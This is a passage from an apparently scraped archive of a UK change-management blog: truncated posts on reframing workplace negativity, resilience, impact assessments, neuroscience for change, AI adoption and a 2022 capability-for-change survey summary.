here are my criteria for deciding whether to collaborate or work alone: Is this work something you need or want their view on because they have more expertise or more up to date experience of the situation than you? Do you need to chat your work through and ask for ideas or do receive reassurance that they think you are on... --- ### Week 37 - Resilience when you lose momentum > Today I have been really frustrated by my lack of progress, so I am feeling irritated and short tempered, which are not the right emotions. - Published: 2023-10-16 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-37-resilience-when-you-lose-momentum/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Today I have been really frustrated by my lack of progress, so I am feeling irritated and short tempered, which are not the right emotions for the workshop I am about to facilitate! I have failed to make progress, because a simple task has ballooned into a complex negotiation between multiple stakeholders. Originally all I had to do was decide between several options for the name of an IT platform and then ask the IT department to buy the appropriate domains. We are 1 week away from live so we are tight for time. However, when I communicated my decision, our steering committee started suggesting new and additional names, which led to a series of back and forth emails. Eventually we agreed to put the options to the user group, and give them the opportunity to make the decision. During all of this, I realised that I could continue to feel angry that something simple was now going to take days to resolve, or focus on the upsides. These are the positives I have used to ensure I remain motivated: Celebrate the collaborative approach that everyone is taking – if I wasn’t under pressure, I would easily recognise that asking for users to be involved in the decision is exactly the kind of thing I would normally suggest. I need to be pleased that the steering group have kept me true to my values, rather than resenting them for adding to my workload. Enjoy the feeling that the decision is... --- ### Week 36 - Standing still has its advantages > I have been talking to a cast number of change professionals from around the world as people complete the capability for change survey. - Published: 2023-10-09 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-36-standing-still-has-its-advantages/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives I have been talking to a vast number of change professionals from around the world as people complete the capability for change survey. This volume of engagement helps me see patterns that are not apparent when talking to small groups. One of these patterns is the high number of women working in change, whilst there are a much higher proportion of men working in transformation. Whilst both terms are synonymous with business change, the transformation roles command a higher salary. Perhaps this will be a future blog on using the right terms to describe our work and positioning ourselves for greatness and overcoming imposter syndrome. Another trend is career stagnation. For many of the women I talk to, they are supporting change in the business. Every day they are nudging, encouraging and persuading those impacted by change to apply new ways of working. This work is stable, and whilst they might change organisation occasionally, their work doesn't vary, irrespective of the type of change they are involved in. Many have described their career as stagnating. They feel stuck doing the same things year after year. They are so busy trying to balance their work with demanding home lives (young children/elderly parents) that they don't have the capacity to move forward. I can sense their frustration, because although they would like more challenge and more progression at work, they also recognise that it is not the right time for them. If you feel you are treading water at work, let me... --- ### Importance of Neuroscience in Change Management > If neuroscience for change interests you, be one of the first to gain the new Neuroscience for Change certification. - Published: 2023-10-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/importance-of-neuroscience-in-change-management/ - Categories: Change management techniques - Tags: #agilechangemanagement, #changemanagement, Agile change management, change management If neuroscience for change interests you, be one of the first to gain the new Neuroscience for Change certification Predicting the latest trends With over 30 years experience of organisational change, I am often asked about the latest trends and techniques and what skills I think are critical for successful change management. For the last few years, my answer has remained constant - neuroscience and building our understanding of how our brains work. Explaining neuroscience for change Neuroscience is the scientific explanation of how our brains process information, take decisions and act. An appreciation of neuroscience enables us to understand the reasoning our brains apply to every situation. There are vast amounts of research on how the brain works, and by applying this to how we engage our stakeholders in change, I believe we are meeting an increasing demand for evidence-based approaches. We can google any problem and find multiple ideas, suggestions, models and theories. We are busy, and we are cynical so we want to know that the solution we select has the highest probability of working. Neuroscience is a science, which means that there has been systematic testing of the theory and the results have been verified. Why is neuroscience so relevant to change situations? I know I feel more confident when my suggested course of action is backed up by research that explains how and why it works. This is especially true in the complex world of change. Complexity comes from the emotional, behavioural and psychological impacts... --- ### Week 35 - Being tested is a positive > On top of my already demanding workload, I signed up for an examination based course, with little time to revise. - Published: 2023-10-02 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-35-being-tested-is-a-positve/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Last week, I seriously doubted my ability to succeed. On top of my already demanding workload, I signed up for an examination based course, with little time to revise. As this blog is about reframing negatives to positives, you might be wondering what the positives of this situation are – I was certainly questioning that as I desperately tried to revise at 6am last Monday morning! What struck me about this extra level of pressure, was that being tested was the positive. It was a chance for me to rise to the challenge, and feel a different type of pressure. Normally the most common pressure I feel at work is my ability to get everything done. This was different, the test was about my ability, and whether I knew everything I thought I did. I realised that although revising for an exam had its downsides, it was enjoyable to have a reason to focus entirely on one task, even for just 2 days. To help me: I asked my family for help – I told them I was nervous and needed kind words I asked my “work family” for help – I asked them to cover some of my work for a couple of days to give me enough time to revise I focused, stripping out anything not essential to the exam, just for a couple of days The whole experience made me realise that just focusing on one thing, losing myself in the learning and the stimulation of challenging... --- ### Executive Summary Capability for Change Survey 2022 > Running this survey has given us some important insights on the state of change management as a valuable service within organisations. - Published: 2023-09-25 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/executive-summary-capability-for-change-survey-2022/ - Categories: Insights - Tags: #agilechangemanagement, #changemanagement, Agile change management, change management Take the 2023 survey here https://neurotech. truthsayers. io/screener/agm2023/ Running this survey has given us some important insights on the state of change management as a valuable service within organisations facing unprecedented levels of change. Our main conclusion from this data is that change management as a service to the business is still in its infancy, as indicated by the low scores across all the assertions. As a community of senior leaders and change professionals we never reached a score of 80% for any of our answers, either how we felt or what we thought. The data evidences concern that whilst we are making changes that are aligned to our strategic objectives, we are not optimising our portfolios and we don’t believe that we are prioritising our changes. We do not believe that the volume of change we are undertaking is manageable, so we need to address what we select and how much we select to change. We don’t believe that those impacted by change always know that change is coming, and we are not supporting staff who are struggling to cope. We haven’t universally adopted best practice approaches for change and we people do not understand or value what change management skills are. There are pockets of good news appearing throughout the data, and we have highlighted these as we strongly believe we must build on what has been achieved so far by celebrating what we have achieved. We commissioned this assessment to find the evidence that we can all... --- ### Week 34 - Make your work match your emotions > I know this blog is all about shifting my emotions from negativity to finding up positives in my situation, but this is not always instant. - Published: 2023-09-25 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-34-make-your-work-match-your-emotions/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives I know this blog is all about shifting my emotions from negativity to finding positives in my situation, but this is not always instant. This causes a vicious circle To break this cycle, and give myself the best possible chance of feeling better, I need to get things done. Every piece of work I complete is a small achievement, which makes me feel good and reduces the overall pressure I am under. I can still be productive, even when I feel down, if I select work that meets my mood: Step 1 – Understand the effects of my negative feelings: Feeling worried – all I can think about is how much of a mess I am in Quick to anger – my irritation when things go wrong is out of proportion to the situation Distrust is high – I don’t share information, opinions or perspectives Work alone – I don’t think I have the time to delegate to others because it is quicker to do things myself than explain what I need Quick to judge – I am much quicker to categorise things as problems, I look for the problems and mistakes Less collaborative – I don’t want to work with others, I don’t think I have the time to process their ideas or adapt to their ways of working Less creative – I am too stressed to absorb new information, so with fewer sources I will have less things to connect so I will have few insights Step 2... --- ### Week 33 - Take back control > One common cause of my negativity is when I am let down by others, and plans that took time to create fall apart. - Published: 2023-09-18 - Modified: 2023-09-20 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-33/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Situation One common cause of my negativity is when I am let down by others, and plans that took time to create fall apart. Today I have had this happen 3 times in an hour so my mood is very down. My day doesn’t really allow for me being in a bad mood. I have to interview someone in a minute and they deserve the upbeat version of me, so I need to turn things around quickly. Techniques Control what I can control – I cannot make others more organised, but I can organise my own work, which gives me a sense of order and empowerment which is lost when we have to amend what we are doing to take account of what others haven’t done. Reframing – I am angry about the wasted time but if I can find something positive that comes out of these last minute changes, I will see the situation more optimistically. By concentrating on the benefits of using the time to get through my backlog, I can see the last minute changes as a bonus, not a problem. Results Did it work? Yes! I made a list of all the things I was able to achieve because I didn’t have to attend the meetings that were cancelled at the last minute. I found someone else to give me the answers I needed (as the others were not available) which re-ignited a connection with an old colleague, which gave us both pleasure. I even found... --- ### Week 32 - Fill the skills gap > A source of negative thoughts is fear of not being able to do things well, of making mistakes, looking stupid and wasting time. - Published: 2023-09-11 - Modified: 2023-09-20 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-32/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Following on from last week, a source of negative thoughts is fear of not being able to do things well, of making mistakes, looking stupid and wasting time. As I return from my summer break, I am aware that there are parts of my work I am dreading, and the cause is my doubts about my ability to do the work. My job seems to constantly evolve, the expectations on my continually shift. That means I am always playing catch up, needing to learn new skills and bring new ways of thinking into my work. I know this is a personal list of all the things I need to start doing (but doubt my ability to do) but I am sharing it in case some of it resonates with you: Being more structured in my use of time – I have a heavy workload as I have taken on a major new program. To deliver on this as well as my other responsibilities, I need to allocate set days and times to get through the work and enable others to know when to work with me. Applying prioritisation criteria to my work – limited time means I need to be much tougher about allocating my limited time to the most relevant work. I know the criteria – value; can only be done by me; time sensitive; enabler for other work etc but it is sometimes easier to know the criteria than to apply it, because the negative voice in my... --- ### Week 31 - Learning boosts our mood > This is a personal story of reversing a bad mood and finding things to make me see the situation more positively. - Published: 2023-09-04 - Modified: 2023-09-20 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-31/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Feeling stressed It is never easy when things go wrong, but have you noticed that when you are on holiday and you want to relax, getting a bad news email that you must respond to can feel so much worse than if you were in the office dealing with problems all day. This happened to me a couple of weeks ago, and whilst I dealt with the issue, it was still playing on my mind hour later. It wasn’t fair of me to take this stress out on my family, after all, we were supposed to be messing about at the beach and having fun. I needed to reset my brain from negative to positive and fast. Learning creates positivity One of the most effective ways to send messages to our brain about excitement, happiness and positivity is by learning/doing something new. By challenging ourselves to acquire a new skill and have a new achievement, our brain creates powerful feel good chemicals that re-set our outlook. My experience Sitting on the beach, I was struggling to think of something I could learn – then I saw a paddle boarder. I know nothing about paddle-boarding and anything requiring balance makes me nervous as I am very clumsy. I thought this would be perfect – doing something different, something I don’t feel skilled in, something that would challenge me. An hour later, I am sitting (not standing at first! ) with my paddle, having already enjoyed the excitement and achievement of getting... --- ### Week 30 - Feeling bad because I feel left out! > This is a personal story of reversing a bad mood and finding things to make me see the situation more positively. - Published: 2023-08-28 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-30/ - Categories: Reframing the Negatives to Positives I am sharing this personal story today because I am sure I am not the only one who does this to themselves, and ends up feeling angry and upset, even though it was my actions that triggered these negative emotions! How a good thing can leave us feeling bad Today I had the opportunity to go to a meeting. I knew I wasn’t essential to the meeting, and that I already had a lot of work to do, so I declined. I thought I had made a good decision, because it was an opportunity for others to bond at the meeting and strengthen their relationships without me being a part of it. Initially, all was good. But... my brain then started to send me negative messages about missing out! For a start, the meeting went on longer than expected so one of the participants rescheduled their afternoon meeting with me, which left me feeling like I was a low priority and my needs didn’t really matter. After the meeting, everyone went out for food and to carry on socialising, which I missed out on. This triggered emotions of envy and anger at feeling I was doing work when others were not. Why do I feel bad? None of these emotions make me sound like a nice person, but they are an honest and very typical brain reaction to “social exclusion” – we all have a strong need to be included, even when our presence isn’t really necessary. Social inclusion minimises... --- ### Week 29 - Take a different view > I was getting frustrated this week, because I feel I am being asked to do things that are not necessary. - Published: 2023-08-21 - Modified: 2023-09-20 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-29/ - Categories: Reframing the Negatives to Positives - Tags: change, Reframing the negatives to positives, resilience I was getting frustrated this week, because I feel I am being asked to do things that are not necessary. The things that are annoying me are things I don’t like doing, which means my brain automatically categorises them as “not important”. Of course, this is not how my clients view things, because from their perspective, what they are asking for is important and valuable. How do I change my view? Unless I can start to see the value in what I am doing I will continue to feel irritated, which makes me stressed, which leads to poor quality work, which leads to more negativity as I feel angry at my mistakes! Here is a quick technique for reversing how I perceive unnecessary and irritating work, to see it in a more positive light: Have a look at previous articles in this series for more inspiration. --- ### Week 28 - Future proofing our changes > With so many ideas for what we can update, improve and add to our work, the number of potential changes continues to accelerate. - Published: 2023-08-17 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-28/ - Categories: Change management techniques, Scoping a change - Tags: change management With so many ideas for what we can update, improve and add to our work, the number of potential changes continues to accelerate. One approach to slowing the pace and volume of changes is to future-proof our ideas, so the changes we make now do not need to be updated. Also, by reviewing potential changes against a “future-proofing criteria” we can make sure that our changes are essential. This reduces the overall volume of change taking place, and increases our motivation because we know that what we are changing will be beneficial now and will still be valid even as other things change around us. Practical future-proofing technique To minimise unnecessary change and ensure that what I am changing makes sense now and in the future, I encourage everyone involved in the scoping and impact assessment of the change to review it against 4 broad categories. I have identified these categories from extensive research into the most common transformations taking place globally, as well as reading global surveys of the issues facing CEOs; the trends in customer demands and staff engagement, diversity and inclusion and technological innovations which drive our ideas of how we will work in 2030; 2040 and even 2050. These four categories are: Automation Customer empowerment Personalisation Hybrid work Use my future-proofing checklist to identify ways that you can make your changes to apply these criteria now, or to lay the foundations for applying these criteria more easily in the future. After all, we might not be... --- ### Week 27 - Send a happy email! > Quick technique to stop feeling negative and to start feeling positive and happy by identifying successes and sharing these successes with others. - Published: 2023-08-14 - Modified: 2023-08-17 - URL: https://agilechangemanagement.co.uk/www-agilechangemanagement-co-uk-week-27-negatives-to-positives-send-a-happy-email/ - Categories: Company, Reframing the Negatives to Positives - Tags: Reframing the negatives to positives, resilience This post is all about sharing positives to feel positive. Today I started my day feeling miserable. This wasn’t caused by any one big issue, just a collection of issues that added up to me feeling angry/sad/tired/hopeless – a rich pool of negativity! Sharing my misery I was talking to friends via email/WhatsApp on the other side of the world, just updating them on progress but also moaning about all the little problems. I thought their support would make me feel better, but writing down all the things that were annoying me just made me feel more miserable because I was focusing on the negatives. Stop moaning! To stop this vicious circle, I challenged myself to find something good – not easy when I am feeling negative, so I had to look for anything: Issues that I have found solutions for Agreements I have reached with others Features and functionality that is working on my online platform New ideas that me and my team have had. To build on the good stuff, I let others know. After all, why waste a positive thought – it took me ages to think of good things this morning, so to save my colleagues energy and to trigger their own positive thoughts, I sent some happy messages. Have a look at previous articles in this series for more inspiration. --- ### Week 26 - Tidy desk; positive mind! > I am not my usual up-beat and positive self, so I need to apply some neuroscience and “hack my brain” to feel better. - Published: 2023-08-08 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/negatives-to-positives-26/ - Categories: Company Right now I am tidying my work as I want to take a few weeks off in August to re-charge and be ready for a very busy few months up to the end of the year. This is making me feel miserable. I am not my usual up-beat and positive self, so I need to apply some neuroscience and “hack my brain” to feel better. Acting against type makes us miserable The reason I feel so down and demotivated is because I am acting against my preferences. I know myself well enough to recognise that I am great at starting ideas, and that I feel excited and energised when I am having new thoughts and innovating. It is the back end of the work where I struggle to maintain my enthusiasm. Those last few days or weeks where everything is about detailed reviews, confirming that every step has been taken, everything has been documented and explained to others is not my passion. Benefits of finishing what we started I don’t like getting everything finished, however, that's exactly what I need to be able to completely forget about work and properly relax on holiday. I know how checking emails can instantly create anxiety and knowing that something is not quite finished can be a small but insistent negative voice in my head. I also know that even simple issues are so much harder to cope with when we are on holiday – we don’t have our laptops and all the information... --- ### Week 25 - Start with the end in mind > We are so busy, we need to reduce the processing power used by our brains by intentionally defining our intended outcome before we start work - Published: 2023-07-31 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-negatives-to-positives-25/ - Categories: Reframing the Negatives to Positives - Tags: resilience Recognising how busy we all are, I am trying to reduce the processing power needed by our brains to get work done. When we think about work, the more unknowns there are about what is needed from us, the more our brains will try to calculate all the possibilities. During these conversations, our brains are using lots of different processes including attention, reasoning, problem-solving and memory as we are not only processing the current message, but we are drawing on our past experiences to compare with what we are hearing now and make sense of it based on what we already know. This takes an enormous amount of processing power, which saps our energy. This lack of energy can create feelings of negativity, because we are tired so we lack the enthusiasm to get things done, which makes us worry about how much we have to do which makes us feel down which means we have even less enthusiasm and motivation. It is a vicious circle. We can create more positive feelings, by streamlining the amount of mental energy we are using by being very focused about the information we share. We must avoid ambiguous descriptions for what is needed. If you don’t know what you want, then the person listening to you is going to have to process a lot of potentials to try to sort out what you mean. You have exhausted them before they even begin the work! This week I am trying to be focused, specific,... --- ### Week 24- Catching Our Breath > I am running so fast, with so many ideas, requests, demands on my time to manage, and so much work to finish that I could not think anymore. I had nothing creative or original left in me. I could follow a list, and I could complete instructions so I was busy and productive, but I could not create anything new. - Published: 2023-07-17 - Modified: 2023-07-14 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-24/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives, resilience Often when we are running we say “I need to catch my breath! ” It is the same with our work – last week I found myself saying “I need to catch my thoughts! ” I am running so fast, with so many ideas, requests, demands on my time to manage, and so much work to finish that I could not think anymore. I had nothing creative or original left in me. I could follow a list, and I could complete instructions so I was busy and productive, but I could not create anything new. My job is to be creative, so I knew I had to act, so I turned to a neuroscientific technique called mind-wandering which is an important activity for the brain. It is the ability to have spontaneous, unbounded thoughts that have nothing to do with the task we are doing. It happens when our brains are at rest – note I said brain not body! A good way to move into mind-wandering is to do something that is repetitive, known to you and easy to do so that you reduce the use of the part of your brain called the “task-positive network” which is what we use to manage demanding, thoughtful tasks. In my case, I walk (with or without the dogs) on routes I know well, with no roads to cross (because that takes a lot of attention and in my case concentration because I have been run over 4 times in my life... --- ### Week 23- 5 Steps to Getting Motivation Back at Work > During change people can lose motivation and output decreases. Here are 5 steps to getting motivation back for you and your team - Published: 2023-07-10 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-23/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change, change management, Reframing the negatives to positives, resilience Sometimes I feel that I am running very fast just to stay still. I am doing a lot of work but I am not sure what difference it is making. The more I think like this, the more demotivated I become. After all, what is the point of working hard if I cannot see the benefits? During times like these it can be difficult to keep going. Over my years in business, I've come up with various strategies for getting motivation back at work and i would like to share them with you. If you are struggling with motivation or want to motivate your team during change at work, contact me today or join one of my Change Management Courses. 5 Steps to Getting Motivation Back at Work Here are my five most ucessful strategies for getting motivation back at work. Step 1 Identify what I have been working on To cut short my negative thinking, I need to remind myself of what I have achieved, so the first step is identifying the work I have been involved in recently. Pick a time frame that works for you – if you don’t go back far enough you will not recognise all the things that you have been thinking about, so you will not de-clutter your brain enough. If you go back too far you will spend so much time trying to identify all the work you will not have time for the next steps – where the valuable positive thinking... --- ### Strategies for resistance to change > What attracts me to a career in change is ironically the same thing that has the power to block my engagement with my stakeholders. - Published: 2023-07-07 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/strategies-for-resistance-to-change/ - Categories: Change management techniques - Tags: Agile change management, change, change management, resilience What attracts me to a career in change is ironically the same thing that has the power to block my engagement with my stakeholders. At work, I like things to be new and different. I am curious, excited and willing to try new ways of working. In the words of Professor Carol Dweck, I have a growth mindset. This means thinking of change as an opportunity to learn and develop - an open or growth mindset. The opposite of this is a fixed mindset which is where we believe that how we do things, must remain stable, and should not be changed. When we are trying to implement change at work, we can feel that those with a fixed mindset our blocking our progress. They do not volunteer to change, so we try to impose the change upon them, and they become even more resistant to the new ideas. Strategies for Resistance to Change - Overcoming the Fixed Mindset When we work with people who are causing this resistance to change, we need to tap into an appreciation of their fixed mindset, as we all experience this at times. By understanding why someone is pushing against the change, we can develop strategies to enable them to adopt new ways of working. At the heart of this is empathy, which is being able to appreciate the views and perspectives of others. For one of my training courses I developed this activity to help those with a growth mindset to understand the... --- ### Unlocking Digital Innovation in Healthcare through Change Management > This article makes the distinction between technical change and adaptive change, which to my mind, is human change. - Published: 2023-07-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/digital-innovation-through-change-management/ - Categories: Impact of AI on business change and transformation - Tags: agile change, AI, Artificial Intelligence This article makes the distinction between technical change (new system, new machinery) and adaptive change, which to my mind, is human change. Adaptive change is how we adapt our ways of working, and that requires encouragement every step of the way. To address the fears, we are losing our specialist skills; we are losing our confidence in our own abilities; we are fearful of learning and succeeding with new ways of working. Definitely worth a read, as understanding these different types of change is the first step in effectively implementing change. --- ### Generative AI’s Challenge with Change Management > This article shares some very useful guidance on managing the change to AI. Find out more here AI’s Challenge with Change Management - Published: 2023-07-03 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/ais-challenge-with-change-management/ - Categories: Impact of AI on business change and transformation - Tags: agile change, AI, Artificial Intelligence This article shares some very useful guidance on managing the change to AI. Stats that caught my eye are: 61% are curious 52% are optimistic about the use of AI But 1/3 think their jobs will be eliminated by it. I like the ideas around creating opportunities for experimentation with AI so people can quickly get an understanding of what it can do and work out for themselves how it can help to augment their roles and the value they add. Read the article here --- ### Week 22- Boosting positivity through face-to-face interactions > Boosting positivity through face-to-face interactions deserves more attention, especially if you predominately work alone. - Published: 2023-07-03 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-22/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change, change management, Reframing the negatives to positives, resilience Last week I was struggling to get started on a difficult piece of work, and my negative internal voice was very strong. I was criticising myself continuously – I knew I wasn’t making the progress I needed to make, but I couldn’t find a starting point. I told myself I was an idiot, I was being lazy, I was stupid for not having worked out a plan etc. Battling negative self-talk Then I realised – my negative internal voice is so much harsher than I would be to a colleague. I wouldn’t accuse a colleague of laziness or stupidity. I would get them to talk through the issue and find a way forward together. The power of company and how it contributes towards boosting positivity through face-to-face interactions This led me to the most obvious and simplest technique for making myself feel more positive – I arranged to go and spend some real-life, face-to-face time with a colleague to help boost my positivity. I had meetings scheduled with Marlene that afternoon, so I suggested we do the calls together instead of via Teams. Just driving to her house made me feel positive because I knew we could get a lot done together but also because I would get the benefit of some much-needed company. My brain was creating oxytocin, the bonding/friendship chemical which was making me feel positive. Our colleagues, friends and family members provide encouragement, reassurance and company when our difficulties make us feel alone and lonely. Think about... --- ### Week 21- Dealing with Negative Feedback > This week I am dealing with the fallout of a lot of negative feedback from the launch of a new product. Read to find out how I handled it. - Published: 2023-06-26 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-21-dealing-with-negative-feedback/ - Categories: Reframing the Negatives to Positives - Tags: agile change, Agile change management, change management, Reframing the negatives to positives, resilience This week I am dealing with the fallout of a lot of negative feedback from the launch of a new product. Negative feedback, some of which was delivered with thought and care and some of which was just plain nasty, isn’t the issue here. What is making me feel negative is the worry about the effort required to make all the fixes. To get to this point, where there is something to show the client has taken so long, everyone is exhausted because they put their heart and soul into it. So I have to motivate myself and others for the next round of development without feeling that this return is because we have failed. These are my ideas, I hope you find them useful: Issue 1 – Negative feedback We feel upset, we feel angry, and we feel embarrassed. We thought we had got it right, and the client tells us we haven’t. The lack of energy, motivation and excitement has gone right out of the team. The solution to negative feedback First of all, let's vent! I know we are supposed to be grown-ups and recognise that feedback helps us learn, and ultimately we will get a better product if we action it. But right now, it feels horrible. We feel as if we have been attacked – so let's call that out, let's acknowledge we feel bad and have a moan about it. We did this by being open in front of each other about how much... --- ### Practical Tips for Conducting Impact Assessments > Here are 5 practical tips that you should consider when conducting impact assessments. Why not join one of my courses? - Published: 2023-06-19 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/practical-help-for-doing-impact-assessments/ - Categories: Company Introduction To effectively plan how to change our ways of working, we need to understand the intended impact of our change and try to identify potential unintended side effects and consequences. We do this by conducting impact assessments. 5 Tips for Conducting Impact Assessments These 5 practical tips are my personal lessons learned from conducting several thousand impact assessments over my 30-year career. I hope you find them useful. 1. Do we need to do As Is and To Be? Perceived wisdom (that I blame on the McKinsey 7S Model from the 1980s) is that to assess the impact of any change, we must first start with where we are now. Too often, however, the amount of effort to capture all the existing processes could be better spent imagining the effects of the change. If your change is truly transformative, how useful is it to match it against what happens now to see the gap? You instinctively know there is a big gap, and that is why your change is transformational – it is a revolution, not an evolution! I don’t think we should ignore what happens today, I just don’t think we should automatically capture it. It helps to know the scale of the gap because that helps us think about the skills and the resources we will need to make the leap. This gap can be used to generate a sense of reality that the change is really happening and that we are not going to stay where... --- ### Week 20- Re-purposing our experiences > I want to celebrate the skill of re-purposing our experiences that we have created for one situation and using it somewhere else. - Published: 2023-06-19 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-20/ - Categories: Reframing the Negatives to Positives - Tags: agile change, Agile change management, change, change management, Reframing the negatives to positives I have written before about the value of re-framing a situation, finding something to be grateful for, something to compliment, and identifying the benefits when at first glance the situation feels bad. In this blog, I want to celebrate the skill of re-purposing something we have created for one situation (that is not working) and using it somewhere else. To be good at re-purposing, we have to adjust how we work. It helps to be open to re-use so that we can spot potential even as we concentrate on the current piece of work. As I research and design ideas for one situation, I am thinking about and feeling grateful for the knowledge bank I am developing, that can be used elsewhere. This keeps me curious and open to new ideas, which in turn makes me positive and interested in what I am doing, because I feel all my effort adds value – sometimes immediately, and sometimes the value becomes apparent later. These are some of my examples, I hope they kick-start ideas for you: Research As I was researching this article, I read several interesting stories about innovation and the agile mindset. I found a few quotes that I can include in a directors briefing next week, and another article I can share with a great checklist for staying positive. Ideas When facilitating a brainstorming session the last thing I want to do is shut down creativity, but not all ideas are relevant to the problem we are trying... --- ### Week 19- Bouncing back from disaster > Following on from my blog last week, I thought it would be helpful to talk about the aftermath of the disastrous project on how I feel. - Published: 2023-06-12 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-19/ - Categories: Reframing the Negatives to Positives - Tags: agile change, Agile change management, change, change management, Reframing the negatives to positives, resilience Following on from my “preventing disaster” blog last week, I thought it would be helpful to talk about the aftermath of the disastrous project on how I feel. Knowing that the outcome is poor and there are many fixes and lots of rework to get it to an acceptable state feels exhausting. Knowing that the team environment was aggressive, distrusting and unpleasant to be part of is depressing. I am left feeling tired and moving through a range of negative emotions: anger; sadness; fatigued; demotivated. How can I turn this negativity into something positive? My approach is to focus on building my resilience because even though I have been involved in a negative experience, I can use it to develop my ability to bounce back and keep going. This is my step-by-step guide for a quick personal resilience programme: 1. Acknowledge I am tired – by calling this out explicitly, it enables me to be kinder to myself. In practice this means: Finish work on time or early as many days as possible for the next couple of weeks Be tough on my prioritisation and strip out all those things that are not both urgent and important Don’t volunteer for extra work (a temporary situation because my natural response is always to help people, but I cannot be much help if I don’t recover) 2. Get the support of others At this point, my friends are a really important element of my recovery. Spending time listening to what is happening... --- ### Week 18- Preventing disaster > I have just finished a project where the outcome was awful, the quality wasn’t right, and the benefits haven’t been realised, and the experience of getting everyone to the end has been very difficult. - Published: 2023-06-05 - Modified: 2023-06-02 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-18/ - Categories: Reframing the Negatives to Positives - Tags: agile change, Agile change management, change, change management, Reframing the negatives to positives, resilience I have just finished a project where the outcome was awful, the quality wasn’t right, and the benefits haven’t been realised, and the experience of getting everyone to the end has been very difficult. I don’t think anyone is going to look back and be proud of their association with this project. I think it will always be a source of regret. You might be wondering, where am I going to find the positives in this situation? It is a realisation that there is a matrix of the outcome of your work and the experience of your work, from bad to good. The worst situation is the one I have just endured, where the outcome is not what anyone had hoped for, so it is bringing misery and despair, and the experience of working on the initiative was so difficult it required great resilience just to keep going. The top right quadrant is something that we all aspire to. Our work results in a positive outcome that is delivered on or under time and budget, that meets all the pre-defined quality criteria and that realises or exceeds the benefits promised in the initial business case. This is coupled with a great experience as we learn new things, work together harmoniously, support each other’s development, build new and hopefully long-lasting relationships and genuinely enjoy the work. The positive from my recent bad experience is that I was reminded of how important it is to keep this matrix in mind. It helps... --- ### Week 17- Collaboration isn’t always the answer > Collaboration isn't always the answer - I am in the middle of a complex change which impacts processes and quality standards. - Published: 2023-05-29 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-17/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Complex change I am in the middle of a complex change which impacts processes, quality standards, measures of success, the technology we use to deliver the services and the services we deliver to customers. We are also targeting new stakeholders and letting other stakeholders fade away as we exit some markets. Each of these shifts in how we do things is an agile change because we are delivering them incrementally, with a review at the end of each increment to work out the knock-on effects between each of the workstreams. It is too complex to plan in detail up front, and we are constantly experimenting to achieve our vision. Creating the capacity for change I often talk about the importance of streamlining our workloads before we get started on a change of this scale so that we have the capacity to participate in the change. Talking to a colleague the other day, we realised that another way we boost our capacity to cope with the change and therefore increase our resilience is to streamline who we work with. This might sound counterintuitive as it is the opposite of collaboration. We know that being with others during times of stress can give us emotional support and enable us to overcome our challenges as they suggest different perspectives and new ideas that enable us to find solutions to the blockers preventing us from changing. I am proposing that sometimes there is another way, that instead we reduce the number of people we... --- ### Week 16- Agile approaches can knock our confidence > Last week I had to give a summary of progress for the last year for a high-profile program I oversee, as there is a new Sponsor. - Published: 2023-05-22 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-16/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Fail fast and experiments that don’t work Last week I had to give a summary of progress for the last year for a high-profile program I oversee, as there is a new Sponsor. For me, it was a negative experience. As I talked through the outcomes, I felt embarrassed about how many false starts my team and I have had. I could hear the very strong negative voice in my head (which the Sponsor could not), and it was as if I was replying to these criticisms. He had not voiced anything negative, but I was caught in a loop of justifying out loud why we had not continued with certain courses of actions, including removing suppliers, getting rid of team members and changing the structure and content of the products we are producing. Small incremental steps are the right approach As a proponent of agile approaches, taking little steps, finding the feedback and learning from it is exactly what I am supposed to do, so why did I feel the need to apologise? This program is high risk, and the organisation has never done anything like this before (they are innovating), so agile is the obvious choice. As humans, we have a strong driver to claim success and tell others about it because it builds our status. This status is the way the brain reassures itself we 